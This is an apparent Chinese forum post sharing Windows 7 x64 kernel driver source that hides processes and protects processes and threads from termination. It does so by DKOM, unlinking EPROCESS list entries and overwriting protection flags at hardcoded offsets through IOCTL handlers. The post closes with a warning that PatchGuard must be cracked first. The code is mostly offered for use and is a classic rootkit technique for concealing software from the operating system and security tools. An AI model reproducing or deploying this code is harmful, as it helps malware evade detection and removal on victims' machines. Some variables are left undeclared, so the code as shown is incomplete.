真心对待 发表于 2024-3-11 13:30:11

Win7 64上隐藏进程和保护进程源代码



实现隐藏进程和保护进程的手段依然是DKOM,不过是修改的位置不同而已。
至于怎么在64位操作系统上加载驱动,我已经说过了,请参考这里。
驱动使用WDK7的x64 Free Build Environment编译。

核心源码:
#define PROCESS_FLAGS_OFFSET                   0x440
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET    0x188
#define PROCESS_RUNDOWN_PROTECT_OFFSET         0x178

ULONG64 Get64bitValue(PVOID p)
{
    if(MmIsAddressValid(p)==FALSE)
      return 0;
    return *(PULONG64)p;
}


VOID Set64bitValue(PVOID p, ULONG64 v)
{
    KIRQL OldIrql;
    if(MmIsAddressValid(p)==FALSE)
      return ;
    OldIrql = KeRaiseIrqlToDpcLevel();
    *(PULONG64)p=v;
    KeLowerIrql(OldIrql);
}


VOID RemoveListEntry(PLIST_ENTRY ListEntry)
{
    KIRQL OldIrql;
    OldIrql = KeRaiseIrqlToDpcLevel();
    if (ListEntry->Flink != ListEntry &&
      ListEntry->Blink != ListEntry &&
      ListEntry->Blink->Flink == ListEntry &&
      ListEntry->Flink->Blink == ListEntry)
    {
            ListEntry->Flink->Blink = ListEntry->Blink;
            ListEntry->Blink->Flink = ListEntry->Flink;
            ListEntry->Flink = ListEntry;
            ListEntry->Blink = ListEntry;
    }
    KeLowerIrql(OldIrql);
}


VOID HideProcess(PEPROCESS Process)
{
    RemoveListEntry((PLIST_ENTRY)((ULONG64)Process + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
}


VOID Test(ULONG uIoControlCode)
{
    switch(uIoControlCode)
    {
      case IOCTL_HideProcess:
            {
                __try
                {
                  memcpy(&dwInputPid,pIoBuffer,sizeof(dwInputPid));
                  status=PsLookupProcessByProcessId(dwInputPid,&eProcess);
                  if(NT_SUCCESS(status))
                  {
                        HideProcess(eProcess);
                  }
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
      case IOCTL_ProtectProcess:
            {
                __try
                {
                  memcpy(&dwInputPid,pIoBuffer,sizeof(dwInputPid));
                  status=PsLookupProcessByProcessId(dwInputPid,&eProcess);
                  if(NT_SUCCESS(status))
                  {
                        OldVal=Get64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET));
                        Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET),RdpVal);
                  }
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
      case IOCTL_UnprotectProcess:
            {
                __try
                {
                  Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET),OldVal);
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
    }
}


更新内容:
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET    0x188
#define PROCESS_FLAG2_OFFSET                   0x43C
#define CROSS_THREAD_FLAGS_OFFSET            0x448

VOID Test(ULONG uIoControlCode)
{
    switch(uIoControlCode)
    {
      case IOCTL_ProtectProcess:
            {
                __try
                {
                  memcpy(&dwInPid,pIoBuffer,sizeof(dwInPid));
                  dprintf(" dwInPid=%ld",dwInPid);
                  status=PsLookupProcessByProcessId(dwInPid,&eProcess);
                  if(NT_SUCCESS(status))
                  {
                        dwPOV=Get64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET));
                        Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET),dwPNV);
                        dprintf(" Protect Process finished");
                  }
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
      case IOCTL_ProtectThread:
            {
                __try
                {
                  memcpy(&dwInTid,pIoBuffer,sizeof(dwInTid));
                  dprintf(" dwInTid=%ld",dwInTid);
                  status=PsLookupThreadByThreadId(dwInTid,&eThread);
                  if(NT_SUCCESS(status))
                  {
                        dwTOV=Get32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET));
                        Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTNV);
                        dprintf(" Protect Thread finished");
                  }
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
      case IOCTL_UnprotectProcess:
            {
                __try
                {
                  Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET),dwPOV);
                  Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTOV);
                  dprintf(" Unprotect Process and Thread finished");
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
      case IOCTL_PauseThrdProtect:
            {
                __try
                {
                  Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTOV);
                  dprintf(" Thread Protect Suspended!");
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
      case IOCTL_ResumeThrdProtect:
            {
                __try
                {
                  Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTNV);
                  dprintf(" Thread Protect Resumed!");
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
    }
}

警告:此代码在没有破解内核的WIN7 X64上使用,会触发PatchGuard引起蓝屏。
Warning: If you use this code in WIN7 X64 without "crack kernel", it will trigger PatchGuard and cause BSOD.

页: [1]
查看完整版本: Win7 64上隐藏进程和保护进程源代码